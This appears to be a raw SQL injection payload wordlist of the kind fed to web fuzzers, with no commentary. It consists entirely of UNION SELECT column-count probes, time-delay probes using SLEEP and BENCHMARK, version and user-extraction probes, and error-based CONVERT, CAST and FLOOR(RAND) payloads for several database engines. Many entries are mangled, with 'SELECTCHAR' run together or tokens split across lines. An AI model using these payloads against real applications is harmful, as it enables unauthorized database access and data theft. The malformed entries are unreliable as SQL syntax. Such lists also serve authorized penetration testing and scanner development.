UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26#

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27#

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28#

UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29#

UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30#

UNION ALL SELECT 1--

UNION ALL SELECT 1,2--

UNION ALL SELECT 1,2,3--

UNION ALL SELECT 1,2,3,4--

UNION ALL SELECT 1,2,3,4,5--

UNION ALL SELECT 1,2,3,4,5,6--

UNION ALL SELECT 1,2,3,4,5,6,7--

UNION ALL SELECT 1,2,3,4,5,6,7,8--

UNION ALL SELECT 1,2,3,4,5,6,7,8,9--

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10--

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11--

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12--

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13--

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14--

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--

UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--

UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--

UNION SELECT @@VERSION,SLEEP(5),3

UNION SELECT @@VERSION,SLEEP(5),USER(),4

UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5

UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6

UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7

UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8

UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9

UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10

UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11

UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12

UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13

UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14

UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15

UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16

UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,1
7

UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,1
7,18

UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,1
7,18,19

UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,1
7,18,19,20

UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,1
7,18,19,20,21

UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,1
7,18,19,20,21,22

UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23

UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24

UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25

UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28

UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29

UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30

UNION SELECT @@VERSION,SLEEP(5),"'3

UNION SELECT @@VERSION,SLEEP(5),"'3'"#

UNION SELECT @@VERSION,SLEEP(5),USER(),4#

UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5#

UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6#

UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7#

UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8#

UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9#

UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10#

UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11#

UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12#

UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13#

UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14#

UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15#

UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16#

UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,1
7#

UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,1
7,18#

UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,1
7,18,19#

UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,1
7,18,19,20#

UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,1
7,18,19,20,21#

UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,1
7,18,19,20,21,22#

UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,1
7,18,19,20,21,22,23#

UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,1
7,18,19,20,21,22,23,24#

UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,1
7,18,19,20,21,22,23,24,25#

UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26#

UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27#

UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28#

UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29#

UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30#

UNION ALL SELECT USER()--

UNION ALL SELECT SLEEP(5)--

UNION ALL SELECT USER(),SLEEP(5)--

UNION ALL SELECT @@VERSION,USER(),SLEEP(5)--

UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A'))--

UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL--

UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL--

UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL--

UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL--

UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL--

UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL--

UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NU
LL,NULL,NULL--

UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NU
LL,NULL,NULL,NULL--

UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NU
LL,NULL,NULL,NULL,NULL--

UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NU
LL,NULL,NULL,NULL,NULL,NULL--

UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NU
LL,NULL,NULL,NULL,NULL,NULL,NULL--

UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NU
LL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NU
LL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NU
LL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NU
LL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NU
LL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NU
LL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NU
LL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NU
LL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NU
LL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-
-

UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NU
LL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL--

UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NU
LL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL--

UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NU
LL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL--

UNION ALL SELECT NULL--

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))--

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))--

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))--

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))--

AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))--

AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))--

AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))--

AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))--

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))--

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))--

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))--

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))--

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))--

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))--

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))--

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))--

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))--

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))--

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))--

UNION ALL SELECT NULL#

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))#

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))#

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))#

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))#

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))#

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))#

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))#

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))#

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))#

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))#

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))#

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))#

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))#

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))#

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))#

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))#

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))#

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))#

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))#

UNION ALL SELECT NULL

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))

AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+C
HAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))

AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+C
HAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))

AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+C
HAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))

AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+C
HAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))

AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+C
HAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))

AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+C
HAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(
106)))

AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+C
HAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(
106)+CHAR(107)))

AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+C
HAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(
106)+CHAR(107)+CHAR(113)))

AND 5650=CONVERT(INT,(SELECT
CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (5650=5650)
THEN CHAR(49) ELSE CHAR(48)
END))+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))

AND 3516=CAST((CHR(113)||CHR(106)||CHR(122)||CHR(106)||CHR(113))||(SELECT (CASE
WHEN (3516=3516) THEN 1 ELSE 0
END))::text||(CHR(113)||CHR(112)||CHR(106)||CHR(107)||CHR(113)) AS NUMERIC)

AND (SELECT 4523 FROM(SELECT COUNT(*),CONCAT(0x716a7a6a71,(SELECT
(ELT(4523=4523,1))),0x71706a6b71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

```
 UNION ALL SELECT
CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+CHAR(110)+CHAR(106)+CHAR(99)+C
HAR(73)+CHAR(66)+CHAR(109)+CHAR(119)+CHAR(81)+CHAR(108)+CHAR(88)+CHAR(113)+CHAR(
112)+CHAR(106)+CHAR(107)+CHAR(113),NULL--

 UNION ALL SELECT 'INJ'||'ECT'||'XXX'

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3

